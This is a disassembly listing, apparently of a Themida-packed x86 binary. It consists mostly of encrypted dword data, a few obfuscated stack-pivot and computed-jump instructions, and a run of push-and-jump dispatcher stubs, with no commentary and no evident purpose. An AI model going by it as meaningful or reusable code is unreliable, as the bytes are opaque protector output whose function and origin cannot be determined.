dd 849C6934h, 0D1E6F1A1h, 0A77136E8h, 183FDFB0h, 725F804Dh
dd 0AF7A9D39h, 15EDCAE2h, 0Ch, 0B0A21C3Eh, 0E32AD6Ah, 3EDC10F6h
dd 360116C7h, 33FE19B9h, 2BF6E1B6h, 21ECEBAEh, 1BE6F1A4h
dd 0DD8FF9Eh, 2CDCA90h, 0F9C4D385h, 0F4BFD87Ch, 7F96683Ch
dd 2C890000h, 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h
dd 52240489h, 0C281E289h, 4, 4EA81h, 14870000h, 14895C24h
dd 19B95124h, 813E0436h, 2E2B03F1h, 0D1E18138h, 557C2763h
dd 740B24BDh, 5DE929FCh, 5459C889h, 8324148Bh, 815004C4h
dd 73DE2404h, 428F439Dh, 8BBB5308h, 8133B26Dh, 0E5BE4CBh
dd 8F3812Dh, 0F714A51Bh, 3EE381DBh, 814F1E00h, 0EF0B54F3h
dd 92F38154h, 29537678h, 0FF5B085Ah, 835A2434h, 48B04C4h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_58941B
; ---------------------------------------------------------------------------
dw 0F899h
dd 679D0B55h, 0CF8CAD11h
; ---------------------------------------------------------------------------
loc_5E1590: ; CODE XREF: Themida_:005E0A00j
mov eax, 7AE0070h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 37h, 0Dh, 9
dd 110E707Ch, 9EE56C69h, 0E1D02D6Eh, 8F67C70Eh, 0FDF4DA7Eh
dd 24EB6Dh, 8 dup(0)
dd 0E9000000h, 0BDh, 14AB589h, 858B07AEh, 7A806A5h, 1C89858Bh
dd 0B58D07A8h, 7AE0194h, 4AF6858Dh, 0D0FF07ABh, 0E855C3h
dd 5D000000h, 19AED81h, 0BD8307AEh, 7A806A5h, 2C850F01h
dd 0FF000000h, 0AE014AB5h, 89858B07h, 3507A81Ch, 34812736h
dd 13CD0FFh, 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h
dd 6A000000h, 4EB58D1Ch, 5607AE01h, 14AB5FFh, 858B07AEh
dd 7A81C89h, 81273635h, 83D0FF34h, 0B58D0CC4h, 7AE014Eh
dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
dd 1B80000h, 83000000h, 0A806A5BDh, 850F0107h, 7, 2E9C35Dh
dd 5D000000h, 73858DCFh, 8907AE01h, 0A808C985h, 148D8D07h
dd 6A07AE03h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 0AD1AC356h, 650C7587h, 0CE89A0Dh
dd 1D000000h, 344BAFCAh, 18D14FD3h, 894DE6C4h, 0A81B618Dh
dd 0EB805F07h, 318D89CAh, 8A07A817h, 5985C7E3h, 0A807A80Ah
dd 6A00006Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 0E949C352h, 13h, 16396EABh, 4C049919h
dd 0D2E2F1EDh, 50777C2Bh, 0C7EE4810h, 0A8093985h, 7, 41952900h
dd 0FF07A834h, 0A82641B5h, 0F5B58B07h, 0FF07A81Ch, 0A81A9995h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 0C301DB49h, 2CBD958Bh, 6A07A8h, 0D2195FFh
dd 0C08B07A8h, 0FC5E19EBh, 0A59C2DEBh, 31CA7726h, 9C24848Fh
dd 4FF5A9F2h, 701C03E3h, 0E8B3295Bh, 0Fh, 1E008CD0h, 4E49E0A7h
dd 0CFF130E3h, 8B217CDDh, 0A82E3995h, 14B25E07h, 5BE3C681h
dd 0F3810000h, 5D14ED31h, 16DC68h, 58D68B00h, 0DFC38166h
dd 0B93E8BF3h, 7B280B68h, 30F1C781h, 81F9679Dh, 198BE7EFh
dd 81D58A02h, 2BAC22C7h, 0D18B6674h, 0EFF58057h, 0BB66068Fh
dd 0EE833133h, 77CD8004h, 0F01E883h, 0FFFFC885h, 840F52FFh
dd 6, 820Fh, 8D5B0000h, 0AE04BC8Dh, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0A06A5193h
dd 7AB1608Ah, 0B959D03h, 896107A8h, 0A817318Dh, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 81F8F8C6h, 0EB2A71EFh, 5985C741h, 0D407A80Ah, 6A00006Ah
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0B2A6C350h, 54DC9593h, 3985C726h, 7A809h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0FA71C351h, 0BDB5FFFCh, 6A07A814h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 1A90C357h, 81665E58h, 0CA819CF2h, 5E8FC115h
dd 1A9995FFh, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 8F9BC7C3h, 349BD29h, 6A07A8h, 0D2195FFh
dd 0C08B07A8h, 14D74FEBh, 1D5EB118h, 0F80B2A8Bh, 77D4F147h
dd 53D2BA18h, 0A089139Ch, 8B99D673h, 0FB5941D6h, 0BA142982h
dd 8CA7AA96h, 48C203C9h, 0CB0BFB50h, 95C9A671h, 2960B08Ah
dd 3EEBD71Ah, 1E35782Bh, 0B0A9C742h, 0D327FE49h, 7E01DC50h
dd 27D1C4D9h, 8E88Ch, 6DB60000h, 12C53CD2h, 0B589A5CEh
dd 7A8333Dh, 8FC2815Ah, 81000072h, 0B27D05CEh, 6860h, 0BE590000h
dd 4E373C71h, 801134FFh, 815FBFD7h, 0A36B18F7h, 2D9D0B7Bh
dd 8107A822h, 63EA6BF7h, 0BB666007h, 0B58973EFh, 7A805D1h
dd 0EBF78161h, 2946D271h, 0A82151B5h, 81665707h, 8FDC36E8h
dd 66F80A04h, 0B411EE81h, 6601E983h, 496766BEh, 0C3814949h
dd 3C09AD71h, 8DF4F981h, 850FFFFFh, 0FFFFFFA4h, 5ADE8166h
dd 19E952h, 67E40000h, 6FCEh, 254h, 3 dup(0)
dd 0E9000000h, 0C4Eh, 0AE076768h, 4413E907h, 7168FFFBh
dd 0E907AE08h, 0FFFB4409h, 0AE0A1468h, 43FFE907h, 0FE68FFFBh
dd 0E907AE0Ah, 0FFFB43F5h, 0AE0BBD68h, 43EBE907h, 8B68FFFBh
dd 0E907AE0Dh, 0FFFB43E1h, 0AE0E4468h, 43D7E907h, 9968FFFBh
dd 0E907AE0Fh, 0FFFB43CDh, 0AE10A168h, 43C3E907h, 0DBCFFFBh
dd 5991E4F3h, 756BBECDh, 9A479AA9h, 0A01E7180h, 0DD064756h
dd 8D9C6664h, 6574823Ah, 3E4DDB12h, 1928F2EBh, 0F93FCDDh
dd 9B7A1348h, 0E4D55900h, 5A932012h, 548CA3D0h, 0AD64A9CAh
dd 408BB8F3h, 7466B029h, 950283A4h, 0FF7A0D6Ah, 0B5CC8D7Fh
dd 72FFF105h, 0E9B9AB75h, 930B8CADh, 156ABD1Ah, 0B2E2AFFBh
dd 0BEE6D060h, 4Ah, 742F7177h, 0F93FC47h, 9B726542h, 225E835Bh
dd 70AC5647h, 0C0B24477h, 216CCFF0h, 5C8AD10Ah, 0C49486C2h
dd 338122A3h, 0AB2B7A0Eh, 0D8CA337Eh, 0D26ABE27h, 2A093152h
dd 6ABE2774h, 1801A34h, 0E6CF56D1h, 0D8DDh, 0E4D59600h
dd 485F2012h, 0C4948690h, 6C9FCFC8h, 4465B1FEh, 5B4DA915h
dd 190B1DCEh, 0BAC9538Ch, 65DF5615h, 4AB9D372h, 24F2EA9Fh
dd 9B666232h, 0B0DF000Ah, 8BDEED3Fh, 0E5D6C852h, 0A9C3F0BBh
dd 5A7CE7D5h, 3598B90Eh, 0D9B57CCh, 0C6D5557Ah, 0ED1A910Fh
dd 0EEC547D3h, 0E505F966h, 1B1584A3h, 0B2153672h, 0EFB31C67h
dd 0BB6ABD69h, 28991A3Bh, 0C0726819h, 0CEFC1340h, 9BC72943h
dd 0DCC07F66h, 12CB1191h, 0DD199963h, 0B34F7BCEh, 0BA40FA9Dh
dd 3611A92Dh, 0A14h, 96A5736Eh, 707F8B43h, 4C5BAB1Dh, 2332CCF9h
dd 0F90812D0h, 0D4122BB8h, 0F4E83B4Ah, 0DC01322h, 2099ECFBh
dd 0AA8BC7D6h, 13496141h, 7AE497Ah, 0B31CE9D5h, 726542EFh
dd 0F0FF3BBBh, 0CBDA2C9Dh, 742F7194h, 48C5DE47h, 67E77A0Dh
dd 3C089675h, 23A06ABDh, 3C336FD8h, 3A776ABDh, 0B3837583h
dd 44565677h, 0D0420D3Dh, 0EF19E6h, 6B820000h, 0E6B6A872h
dd 5941BAEAh, 17382ED9h, 55E4D504h, 0CF9F9165h, 0D614A193h
dd 4E995A4Ch, 6542BDE5h, 3171DA72h, 79726542h, 3E5FDFF9h
dd 6547AEBDh, 0C7307B72h, 72653EDBh, 0FF2E4FCFh, 0DA2D3CCEh
dd 342517E1h, 1DAE756Ch, 0F8B1994Bh, 0DB448FBCh, 7264DAC7h
dd 0DF4263E3h, 0CFFAD76h, 707FFF7Ah, 0DD63CFE9h, 0BE3270D9h
dd 0F8786ABCh, 0D65134FCh, 0B7D814E2h, 0F8257C24h, 0D42296ADh
dd 70F112E2h, 7266F740h, 0C2D90686h, 98EBFA04h, 59BAD02Ah
dd 0BC2DBB92h, 90A4924h, 65640000h, 81398C9Bh, 0DD136675h
dd 0F2EF4251h, 18C61928h, 35AEEFFEh, 3544DE0Ch, 0D1CEAE2h
dd 0E6F503BAh, 0C1D05A93h, 673BA485h, 437A134Ah, 0E9D501A8h
dd 988A9C50h, 2A7D8CC8h, 58F5A7B1h, 89452A94h, 9DB73E4Dh
dd 0BA34E694h, 0B2AE7E70h, 264745E8h, 3F56A113h, 0BB8B7D89h
dd 65423270h, 0A6FC6572h, 4726542h, 0C9EA6A84h, 0E5D7219Ah
dd 86956758h, 0ADDAD1CFh, 0D42A344h, 1F11917Ah, 0C0CF5992h
dd 0B8AA7C6Dh, 5FEEE0F7h, 0D9A99B6Fh, 0BADBAB9Dh, 3658639h
dd 0BF0BA3F2h, 5564B627h, 0F501B7CEh, 0E234A5D4h, 1F2A9EB5h
dd 2B1D59ADh, 51123A5Bh, 9FB5833Ah, 0C21D4607h, 9C1D3E7Ah
dd 0E3764A03h, 0BB0B9F95h, 96E9F802h, 52A41625h, 62549060h
dd 764A1883h, 0E234A5E3h, 9F6B63F0h, 0ADFDF3ADh, 1854A219h
dd 0B6FCCE20h, 0E8DA2C9Fh, 17C8F718h, 0BC1D805h, 1A4CFFFBh
dd 84411DF1h, 12CB1E63h, 90C49E4Bh, 76FF3726h, 6030225Eh
dd 0EDE0F724h, 8FD0F25Bh, 0B4F03789h, 267A6B93h, 84374E7Bh
dd 0C6DC4572h, 0E4E3764Ch, 77E04364h, 0EB1E53C4h, 0D2899818h
dd 3DA6D3CEh, 0E3764B06h, 0EE3966E6h, 263D1D85h, 98508DD4h
dd 931528Eh, 263D752Ah, 8F1B35D4h, 673CD202h, 4A3DE7Dh
dd 83970000h, 7265421Fh, 6552445Ah, 36592D72h, 0B6E87265h
dd 0A972652Eh, 29FDEFF7h, 0FE2B6737h, 2E584AB3h, 0E1527265h
dd 652E2A78h, 0C4008072h, 0F4D740A3h, 87A0D41h, 109B7288h
dd 0D26A2540h, 767F7h, 0F806C100h, 0D22496E9h, 0AE7870C3h
dd 859F4C9Fh, 5BA72376h, 67D80B4Ch, 3D909F7Bh, 1568778Fh
dd 0EE4150A6h, 0E01C2BFDh, 4C0C96FFh, 39E7A13h, 12E4D55Ch
dd 4B1DCEE5h, 79C1EF24h, 0AA9CD8F0h, 0A091B9DAh, 137CA900h
dd 7A13B130h, 0A62D3CBCh, 9B23FC8Ch, 332CC6C5h, 525071BDh
dd 5259478Eh, 0F6C0DA25h, 1C979541h, 8B7D8941h, 0DD5E7FBBh
dd 725FF5DAh, 812D0E7h, 0D5254616h, 0FCE50255h, 0E9127125h
dd 74BFECB7h, 7596605Dh, 56BE6BF4h, 8979B9BBh, 20F628E0h
dd 66271955h, 97899D4Fh, 0B1DCEC7h, 0A24957EAh, 0A66991CAh
dd 770F0B99h, 29C51623h, 50B9E622h, 0B3AE9E2Dh, 6F86B333h
dd 27F3EF7Eh, 0E630A835h, 0D85F6EAAh, 71AACABEh, 0B92246AEh
dd 0A45D45E9h, 0E40541C1h, 0DCF204B5h, 0ECEFCA1Bh, 7D5732CAh
dd 0D7000006h, 0ACFF0EE8h, 86D9E832h, 62B5C452h, 398C9B65h
dd 2162718Dh, 0B94581C2h, 916557AAh, 6ABC2F82h, 45D7085Bh
dd 0B019FA36h, 7A134BF2h, 71761DB8h, 8CAB42Fh, 5FEE0269h
dd 5A8DF623h, 0DA7A0E1Eh, 0E2DB685Ah, 25BD2618h, 0E8C3DD95h
dd 1D9552BBh, 629F7266h, 54639F69h, 161CEFAFh, 1D208263h
dd 60776316h, 17EFDD6Ch, 7927BADBh, 0A79C0532h, 326AC422h
dd 17247EE7h, 2DA45B68h, 0CB33CA3Dh, 0D5F67690h, 85974885h
dd 5A87C393h, 0DB703440h, 7495F730h, 8C386D4Ch, 1A655B67h
dd 678CF1B1h, 12ECDA5Bh, 0F30FBBF8h, 881596B7h, 395B678Ch
dd 0E5607680h, 44341583h, 5BED1ACh, 0A9180000h, 0FDED404Fh
dd 11C71A29h, 26A3F605h, 4C7ACDDCh, 8162A3B2h, 0E9F802C0h
dd 0C1D02696h, 9AA97F6Eh, 75849647h, 0B3EF5839h, 0F77A134Dh
dd 2F71B55Ch, 65DE4774h, 877A1348h, 9541507h, 0B73D02A0h
dd 4868A86Ah, 5E0BE710h, 0E6153672h, 8D1423F5h, 0D3C82E73h
dd 2849FBECh, 0AA9C0795h, 0F19D2E9h, 0FC0EBFEEh, 0D7219AEDh
dd 956758E5h, 8F9F5168h, 1B9466Eh, 427603F5h, 0BC5EC2B4h
dd 796F95EEh, 0D2249521h, 0DE0B3BC3h, 0A417E6D6h, 0D0000001h
dd 0C8568AA1h, 558C14A7h, 7399A7FCh, 719EDAA3h, 72936D5Ah
dd 0FF95A60Fh, 0C7477A0Dh, 60C914D5h, 6ABDF042h, 46C7E868h
dd 6ABDF05Ah, 2704A40h, 8492469Eh, 89B21B48h, 537265F8h
dd 7871C4D3h, 0BE2FBCAEh, 0E990127Bh, 9A1A6315h, 0A01A315Eh
dd 73946456h, 5290A72Eh, 0C1ECFC8h, 96294A1Ah, 9729F0Ah
dd 6ABE118Eh, 0D3948606h, 0D6F701BCh, 6DC14955h, 97E25F5Bh
dd 6DC1742Eh, 95B6365Bh, 4C7C0595h, 58F61FB9h, 30h, 742F7111h
dd 48C5DE47h, 0BAD47A0Dh, 9B2E6A91h, 0E00400B2h, 1F98878Ch
dd 484D4F5h, 7C6B3312h, 233D6ABCh, 1DA0A97h, 0D7E6E6D1h
dd 9F000000h, 2012E4D5h, 8597485Fh, 6D893564h, 6EFDEE7Bh
dd 796BA771h, 17536DB8h, 4630BE47h, 3D564C97h, 0D4547266h
dd 0C14B84B3h, 425E0DB2h, 0CEFF7266h, 2A762D3Ch, 8E3B527Fh
dd 0C4DE4774h, 0E6726638h, 97E24566h, 0CABC4E80h, 897B8B3Dh
dd 0DB5C7DB9h, 7A10E653h, 98692F6Fh, 1526B610h, 2995ACD9h
dd 598FDE10h, 0CF0BDBCDh, 0A4D10DDDh, 0A8C95D8Dh, 48D21063h
dd 41FAB932h, 99740C25h, 3F0h, 72819F4Ah, 4C5BAF1Fh, 2837C7F9h
dd 0FF0EE8D5h, 0D5E43EACh, 0F0EE4F94h, 8C41726h, 219CEFFEh
dd 4475C8D7h, 8667A3B2h, 134F851Dh
dd 0E38A257Ah, 0FE0DE9D5h, 8EF732ABh, 72654214h, 0DBF501B7h
dd 0E9DB2D9Eh, 74A1DD19h, 42E2C029h, 48C87265h, 6C8D994Fh
dd 0E4D5F027h, 5A932012h, 422C76DFh, 0FE7E7265h, 837CB3C2h
dd 7265C21Bh, 0E2C02974h, 0E97264C2h, 8D0D27F7h, 0C2B3EB6Ch
dd 0F4AC7264h, 0CA6680ADh, 2E7D7186h, 0F760C3E4h, 7A125B4Ch
dd 3D2E20A0h, 0C35F8B63h, 98C501D1h, 999024Dh, 0A16AB650h
dd 7F0021h, 64725E85h, 1007CEE4h, 69E2DBFh, 3372Bh, 0C8569100h
dd 0A27466B9h, 7E884093h, 55AF1C6Fh, 2BF7F346h, 3708DB1Ch
dd 0D606F8Bh, 0E53847DFh, 0BE1120F6h, 0B0ECFB0Dh, 503C66CFh
dd 0D36E7A13h, 21E4D52Ch, 6542EAB8h, 1340C072h, 6541F8AAh
dd 0F632B272h, 0CCC5AFC9h, 5E4EF964h, 3A54153Dh, 0F524A77Fh
dd 0AE5652C0h, 72384DB5h, 9C4D7C9Dh, 0DCC47B8Ah, 0E44D98C5h
dd 726599BEh, 0D63F6CECh, 726599CCh, 0DA3D5EDEh, 0DC12671h
dd 8B445B7Ah, 0D1FF8F81h, 0DDD178E2h, 81D1F22Eh, 0D8273941h
dd 2E970223h, 6ABE1A74h, 3E7AB636h, 32CCFA11h, 940AE911h
dd 146ABE1Ah, 0B1E1A0FAh, 0BDE6CF60h, 3Ah, 742F7176h, 48C5DE47h
dd 67E77A0Dh, 609AB475h, 65D3FF43h, 9E71417Ah, 0FF8DA0A2h
dd 0FE415DDEh, 4D676ABCh, 8004347Dh, 0AC10E6D0h, 79000000h
dd 0ADDC52Eh, 4DCD6ABDh, 0E4D5192Ch, 57932012h, 934CD9CBh
dd 160812CCh, 8B180A46h, 14B9C852h, 72654757h, 3443D506h
dd 2C1EE8E1h, 113E653Bh, 0D4BC3A8h, 9F4F667Ah, 9A1A6A8Bh
dd 0D5CCD48Bh, 95465DA8h, 47E16283h, 6F7267DFh, 6077C2EFh
dd 4E7D9E68h, 24778690h, 0D92D9FA6h, 954857E7h, 0D6596FE5h
dd 2F485E9Ah, 0E2DBABAh, 1E29B76h, 8D3C0000h, 0D9116473h
dd 0F5EB3E4Dh, 1AC71A29h, 209EF100h, 5D86C7D6h, 0D1CE6E4h
dd 0E5F402BAh, 0BECD5B92h, 99A8726Bh, 8F137C5Dh, 1B7A1351h
dd 0E9D5D980h, 32ABFE0Dh, 71A2D9E8h, 0F501B72Fh, 27418CB9h
dd 904BADA1h, 363F8A86h, 0A10283A4h, 0B7A0D53h, 0E4BA998Bh
dd 0DF6ABD47h, 9C6E5FEEh, 0E4E16E60h, 2F9B281Ah, 1911E1D3h
dd 8CA0F3C7h, 29595872h, 35E6D037h, 0D1h, 12E4D5EEh, 0AB145F20h
dd 726541F7h, 1A0C16D4h, 0B7B0304Ah, 9FCEEF0Bh, 257DE623h
dd 0A6726542h, 1DEDDF39h, 55478303h, 6546F576h, 0B4776872h
dd 653D574Bh, 97D35372h, 72843588h, 9A118F80h, 0D00B226Dh
dd 88845446h, 71D82533h, 2CADCE21h, 7A0D093Fh, 5E50D0EAh
dd 77F812EFh, 0BA891B7Bh, 0C3E48C7Fh, 9990273h, 0A16ABCFFh
dd 1FD6E521h, 94FD2A81h, 7267AC35h, 0FF1643C3h, 0D52837C3h
dd 0D4F70DE9h, 0B32DBAC5h, 0DA401Bh, 0B5340000h, 0D1095C6Bh
dd 0EDE33645h, 2BF1221h, 2896E9F8h, 657EBFCEh, 514EEDCh
dd 0DDEC3AB2h, 0B6C5538Ah, 91A06A63h, 970B7455h, 137A1352h
dd 0E9D5D178h, 32ABFE0Dh, 770BBE8h, 7265429Bh, 296E8F0Fh
dd 12E4D5F2h, 0B1DCEE5h, 284919h, 63B5283Fh, 50DA1342h
dd 336FD823h, 77726542h, 8375833Ah, 0BC7B77B3h, 0F2AC5949h
dd 0F4ABF011h, 5FC8F5ACh, 7A13A6E0h, 0D1928404h, 0AA0203B7h
dd 3F609003h, 3E4DDF10h, 1DAC9DB7h, 3C2AD549h, 29F3EC1Bh
dd 0E6B85837h, 7B13D317h, 0D426972Fh, 0AF7972C5h, 0E9706B82h
dd 0F8EA26F0h, 0FBD4CE37h, 56D60256h, 44D1F91Ah, 36507D87h
dd 49E91642h, 5F87A85Ch, 754159FBh, 50A3B244h, 0C09B8D9Fh
dd 8, 0D05E92A9h, 62E59CAFh, 1A0CEAD5h, 0D8CA5C8Dh, 9486904Bh
dd 4F41D507h, 8FA04C2h, 0C1B34F7Bh, 7B6DB734h, 3A2CFAEEh
dd 0F7E93DADh, 35746879h, 0C890000h, 81E18924h, 4C1h, 4E98300h
dd 5C240C87h, 428068h, 242C8900h, 633468h, 241C8900h, 0AE061968h
dd 242C8B07h, 4C481h, 8B540000h, 0C481241Ch, 4, 218068h
dd 242C8900h, 0FF08438Fh, 815B2434h, 4C4h, 2434FF00h, 4C4815Dh
dd 0E9000000h, 0FFFB37D9h, 7C69D2E8h, 86A3CB0Dh, 0A0B8520Fh
dd 307AE11h, 0F9E0FFC5h, 0A9298BF5h, 0C22DA82Dh, 0E61FA956h
dd 0A332F7D9h, 0F3282188h, 394DABB1h, 0A12E900Bh, 770C35E5h
dd 0DF20550Bh, 0D7F6BE1h, 0FC77047Bh, 0A05D47BCh, 2C153B0Dh
dd 155DBD35h, 4E326728h, 0F7415916h, 0B3789394h, 7406800Dh
dd 12132406h, 47529E07h, 8B233068h, 0F4096825h, 0C533390Eh
dd 1A365750h, 7B1BBE72h, 0C71B863Ch, 80D790Dh, 446ED26h
dd 8D217C55h, 0F41A1448h, 972E0134h, 0E9115202h, 0C0h
dd 0E51B99h, 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h
dd 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h
dd 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh
dd 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h
dd 7B6B5C00h, 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h
dd 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh
dd 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h
dd 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh
dd 0D00097B3h, 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h
dd 5E99E0h, 2 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5E3D55
; ---------------------------------------------------------------------------
push 7AE154Ah
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE162Dh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE1750h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE18A7h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE193Eh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE19F6h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE1AADh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE1B6Eh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE1C1Eh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE1D2Ch
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE1E58h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE1F9Fh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE20D1h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE21F9h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE2332h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE251Ah
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE263Dh
jmp loc_58941B
; ---------------------------------------------------------------------------
db 0BDh
dd 0FDE6FB1Ch, 3A23385Fh, 7B64799Eh, 0BAA3B8DFh, 0D9E7FC1Bh
dd 0F1E6B5F0h, 3324F3DCh, 7760351Eh, 0BED97962h, 0E42AC9A9h
dd 0CBAB5CAEh, 0AB6C1AB4h, 0E6B7A072h, 8B582334h, 0C9CE9073h
dd 0E6F1A3DCh, 0A274F1CEh, 61F6A0B5h, 3A73C8B5h, 0E3B07B9Ch
dd 989ADBCBh, 99A0DB01h, 980A44CEh, 0C25DB01h, 25BDF5A1h
dd 4184E3F0h, 82000000h, 47151106h, 20422F50h, 71CF9307h
dd 5701D279h, 90A87540h, 55033C91h, 92AA7742h, 10E6DA2h
dd 571234DBh, 43661FF7h, 0E8EFAFC7h, 0D259931Dh, 5B74DB00h
dd 9F0E44F0h, 0CDD3E3F0h, 0D1000000h, 350017C7h, 27F2E5B8h
dd 24EFE8AAh, 812B698Bh, 3D9FDCF3h, 87904225h, 332C7C72h
dd 4F0FD359h, 884A3348h, 0D62BC48Fh, 12DDFA9Dh, 33316745h
dd 3037D359h, 83E37418h, 2EFBC6D1h, 85CB200Dh, 0D359334Fh
dd 0D5944E55h, 94889DF7h, 8CD2D1E9h, 0DB0148D7h, 17C1D6DDh
dd 0A3E9D63Eh, 0E2ABF88Ch, 499E8B92h, 844F4810h, 0F86FA5EBh
dd 6E75E2ABh, 8352354Dh, 417A7F94h, 51B78295h, 65EA1122h
dd 8DA5C639h, 0F4ECEBAAh, 0FC1BAB85h, 0F8D9B146h, 7D000012h
dd 0BDA6BBDCh, 0FAE3F81Fh, 3B24395Eh, 7A63789Fh, 99A7BCDBh
dd 0B1A67530h, 0F3E4B39Ch, 3720F5DEh, 7E993922h, 0A4EA8969h
dd 0CBAB5B6Eh, 0C72CDA74h, 5EE0314h, 412D4255h, 0D8C51106h
dd 0C7DFF89Fh, 764D82C8h, 0F214DB01h, 7B1B1E6Ah, 0AC4915Ch
dd 304877E7h, 149E6970h, 0DB0206DAh, 0C671DCF5h, 0B2CACD8Dh
dd 0FF6BF8B2h, 0BC41E3h, 0AB3F0000h, 0C34DFB89h, 72220371h
dd 0ACCD9A65h, 46E1B194h, 35ACE896h, 16FFB574h, 3C5D2AF5h
dd 9D21F471h, 8AC068F8h, 0FFCAEB85h, 59192575h, 415608D3h
dd 8493432Ch, 98BF5E97h, 0F065A380h, 3CF13724h, 42DB013Fh
dd 9B7C263Bh, 0A9CACD8Bh, 0EC4E76BCh, 4D54E2ABh, 0B5722760h
dd 5825F0E7h, 0E7201F37h, 250E2334h, 0E4696176h, 0F1FC1B87h
dd 1215845Ch, 0F99A0000h, 3CE0C9DEh, 7B1D061Bh, 0B85E475Ch
dd 0F2A18A9Fh, 7C2D0E5h, 0C3D8FF9Eh, 3183FDAh, 455A7D1Ah
dd 889DBA5Ch, 8DC309A8h, 93CBAB5Ah, 14C74BF9h, 0D3A50B6Ah
dd 4C6D460Ch, 8B8C4E37h, 0A0B7659Eh, 0F0080FCFh, 17C7DDC9h
dd 0E6B83500h, 25F3DCF1h, 0CE234532h, 4B249623h, 0F2E5B485h
dd 65425A27h, 342136E8h, 32E66A12h, 0C4B17850h, 5907487Eh
dd 2F474ED3h, 0DCEA1B08h, 70B4187h, 8CD2D359h, 0D3590756h
dd 7A7555Ch, 0B149E581h, 0D9F1128Ah, 97442035h, 48A680E7h
dd 0A8C9B768h, 33549A87h, 39DB014Ch, 0A2C0932h, 0DE99CAD1h
dd 37273F0Fh, 0D28ACEFEh, 0F2DF3720h, 32D6D7ACh, 0BD6DDDAh
dd 47D15072h, 565E8E99h, 0D08A6F29h, 425A68F9h, 705DB99Eh
dd 4A80C61Bh, 50DA32F7h, 4FC587B0h, 56771216h, 182E4E3Eh
dd 7D34E1DEh, 0AC99BADDh, 0E6B1A673h, 0AD020119h, 18DC1258h
dd 0DBE2E1DEh, 374F480Ah, 80958254h, 0AAE0267Bh, 0B0E1DE18h
dd 0ECAE91A9h, 5B98F3EBh, 0C459FDCDh, 10F2ECh, 0B1A67700h
dd 0F6E1B39Ch, 3720F8E1h, 7A9D3922h, 0BED97C65h, 772E9BA9h
dd 0B59EB3A4h, 0F7E0F5E2h, 37203522h, 7B5B7067h, 596096DCh
dd 0CC66CBABh, 17C71Eh, 807A9C35h, 0A724851h, 3E17BBD3h
dd 0D6A3E9D6h, 0DCDB00CBh, 0CB8DC309h, 8C93DB00h, 2F51566Bh
dd 1FD5135h, 3AAC9ACh, 7765510Bh, 0D0AAEC6h, 38597E19h
dd 285C054Bh, 5B62E2A9h, 28CC0690h, 0CEE7E2A9h, 49F3B763h
dd 4163EB18h, 0D327025Fh, 1C345Bh, 3Dh, 5D5EC3E5h, 14697F26h
dd 0A8F898CEh, 76979EE2h, 0F80D4389h, 0C13E2A8h, 11060EF4h
dd 0A592D8C5h, 0ABDB01BEh, 0D97EB7A4h, 7BB3A9BEh, 5EDB01BEh
dd 9D869BBCh, 3C14DFF8h, 102Bh, 0A272AB7Eh, 4784EAB5h
dd 766A0FBEh, 0EE92AACBh, 9EC0AD69h, 9B8117B9h, 0E5E4FCF9h
dd 69BAF9Fh, 5D15B5DBh, 31F92537h, 134C395Ah, 563F5443h
dd 2FC89384h, 433027F6h, 6C0C7FDh, 0AEC6CDDBh, 0DCC90D0Ah
dd 0B4D2FB96h, 0DFA01E2h, 1502D4h, 0F8A04717h, 0D397CD13h
dd 969DE2B4h, 0E2F5A475h, 5E294A17h, 6A2F3720h, 0B4D5A26Dh
dd 40081C7h, 0A5C7EA5Dh, 4A7F9DFh, 8D4D6561h, 1DB755EDh
dd 3D5E7FFDh, 4A61F445h, 946C01E4h, 0F9Bh, 43587F20h, 889DBA5Ah
dd 0C9DEF99Fh, 81D3AE0h, 465B7C1Fh, 41149138h, 81584156h
